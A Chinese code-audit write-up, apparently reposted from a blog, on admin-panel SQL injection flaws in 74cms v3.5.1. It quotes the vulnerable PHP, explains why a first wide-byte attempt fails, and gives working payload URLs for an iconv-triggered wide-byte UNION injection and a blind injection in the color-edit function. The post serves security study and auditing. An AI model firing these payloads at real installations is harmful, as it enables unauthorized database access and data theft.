74cms_v3.5.1.20141128 后台宽字节注入漏洞(iconv引发)
Posted Mrsm1th
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了74cms_v3.5.1.20141128 后台宽字节注入漏洞(iconv引发)相关的知识,希望对你有一定的参考价值。
0x01 前言
最近开始在学习代码审计了,以前几次学习代码审计都因为不知道如何下手,和代码的复杂就放弃了,这一次算是真正的认真学习,同时seay所编写的《代码审计 企业级Web代码安全架构》让我这个初学者能够入门。思路特别棒。我审的第一个CMS是74cms_v3.5.1_20141128版本的,很早之前的了。H\'\'Homaebic师傅教会了我很多思路。抱拳了老铁。
0x02 假漏洞
在翻看配置文件得知CMS编码使用的是GBK编码,如果过滤不严的话,就会可能产生宽字节注入漏洞。出现"问题"的地方在admin/admin_article.php 20行处,
1 if($act == \'newslist\') 2 { 3 check_permissions($_SESSION[\'admin_purview\'],"article_show"); 4 require_once(QISHI_ROOT_PATH.\'include/page.class.php\'); 5 $key=isset($_GET[\'key\'])?trim($_GET[\'key\']):""; 6 $key_type=isset($_GET[\'key_type\'])?intval($_GET[\'key_type\']):""; 7 $oederbysql=" order BY a.article_order DESC,a.id DESC"; 8 if ($key && $key_type>0) 9 { 10 11 if ($key_type===1)$wheresql=" WHERE a.title like \'%{$key}%\'"; 12 elseif ($key_type===2)$wheresql=" WHERE a.id =".intval($key); 13 } 14 !empty($_GET[\'parentid\'])? $wheresqlarr[\'a.parentid\']=intval($_GET[\'parentid\']):\'\'; 15 !empty($_GET[\'type_id\'])? $wheresqlarr[\'a.type_id\']=intval($_GET[\'type_id\']):\'\'; 16 !empty($_GET[\'focos\'])?$wheresqlarr[\'a.focos\']=intval($_GET[\'focos\']):\'\'; 17 if (!empty($wheresqlarr)) $wheresql=wheresql($wheresqlarr); 18 if (!empty($_GET[\'settr\'])) 19 { 20 $settr=strtotime("-".intval($_GET[\'settr\'])." day"); 21 $wheresql=empty($wheresql)?" WHERE a.addtime> ".$settr:$wheresql." AND a.addtime> ".$settr; 22 $oederbysql=" order BY a.addtime DESC"; 23 } 24 25 $joinsql=" LEFT JOIN ".table(\'article_category\')." AS c ON a.type_id=c.id LEFT JOIN ".table(\'article_property\')." AS p ON a.focos=p.id "; 26 $total_sql="SELECT COUNT(*) AS num FROM ".table(\'article\')." AS a ".$joinsql.$wheresql; 27 echo $total_sql; 28 $page = new page(array(\'total\'=>$db->get_total($total_sql), \'perpage\'=>$perpage));
当key_type=1的时候,没有对key进行intval处理。这个CMS是在入口对参数进行过滤,用了addslashes(),我想的是存在宽字节注入漏洞,利用
http://127.0.0.1/74cms_v3.5.1.20141128/upload/admin/admin_article.php?act=newslist&key_type=1&key=%df\' union select if(1=1,sleep(5),1)%23
结果发现利用不成功,最后用mysql监控软件发现
character_set_client=binary 是将所有的数据以二进制来传输,就不存在宽字节注入问题了 参考p师傅的文章 浅析白盒审计中的字符编码及SQL注入
发现了一个假漏洞,非常尴尬,但是对宽字节注入有了深入的了解。
0x03 真漏洞1 后台宽字节注入漏洞(iconv引发)
在看p牛的文章时,iconv()函数在转换时的编码问题会导致注入,于是我用seay源码审计软件搜索iconv函数,发现了这么一个地方 出现问题的代码在admin/admin_ajax.php 79行处
1 elseif($act == \'get_jobs\') 2 { 3 $type=trim($_GET[\'type\']); 4 $key=trim($_GET[\'key\']); 5 if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0) 6 { 7 $key=iconv("utf-8",QISHI_DBCHARSET,$key); 8 } 9 if ($type=="get_id") 10 { 11 $id=intval($key); 12 $sql = "select * from ".table(\'jobs\')." where id=\'{$id}\' LIMIT 1"; 13 } 14 elseif ($type=="get_jobname") 15 { 16 $sql = "select * from ".table(\'jobs\')." where jobs_name like \'%{$key}%\' LIMIT 30"; 17 // echo $sql; 18 } 19 elseif ($type=="get_comname") 20 { 21 $sql = "select * from ".table(\'jobs\')." where companyname like \'%{$key}%\' LIMIT 30"; 22 } 23 elseif ($type=="get_uid") 24 { 25 $uid=intval($key); 26 $sql = "select * from ".table(\'jobs\')." where uid=\'{$uid}\' LIMIT 30"; 27 // echo $sql; 28 } 29 else 30 { 31 exit(); 32 } 33 $result = $db->query($sql);
iconv函数将$_GET方式接受的key由utf-8编码转为GBK编码 p牛的文章讲到 “錦“这个字,它的utf-8编码是0xe98ca6
,它的gbk编码是0xe55c
。\\
的ascii码正是5c。那么,当我们的錦被iconv从utf-8转换成gbk后,变成了%e5%5c,而后面的\'
被addslashes变成了%5c%27,这样组合起来就是%e5%5c%5c%27,两个%5c就是\\\\,正好把反斜杠转义了,导致’逃逸出单引号,产生注入。
test: %5c%5c%27 => \\\\\' 明显第二个反斜杠被前一个反斜杠转义了 后面的单引号和前面的单引号成功闭合
Payload:
http://127.0.0.1/74cms_v3.5.1.20141128/upload/admin/admin_ajax.php?act=get_jobs&type=get_jobname&key=錦\' union select user(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57%23
注入成功。
0x04 真漏洞2 后台颜色分类处盲注
问题代码在 admin/include/admin_category_fun.php 48行处 get_color_one()函数
function get_color_one($id) { global $db; $sql = "select * from ".table(\'color\')." WHERE id=".$id.""; return $db->getone($sql); }
由此可见 $id 参数没有经过任何处理就直接插入到sql语句中,导致注入漏洞
利用: http://127.0.0.1/74cms_v3.5.1.20141128/upload/admin/admin_category.php?act=edit_color&id=1 and 114=ascii(substring(user(),1,1))
如果语句正常则出现图片
语句错误则出现图片
所以利用成功 导致两个注入点
实验发现第一个可以利用。。。
以上是关于74cms_v3.5.1.20141128 后台宽字节注入漏洞(iconv引发)的主要内容,如果未能解决你的问题,请参考以下文章
骑士CMS01 74cms v4.2.111 后台getshell漏洞复现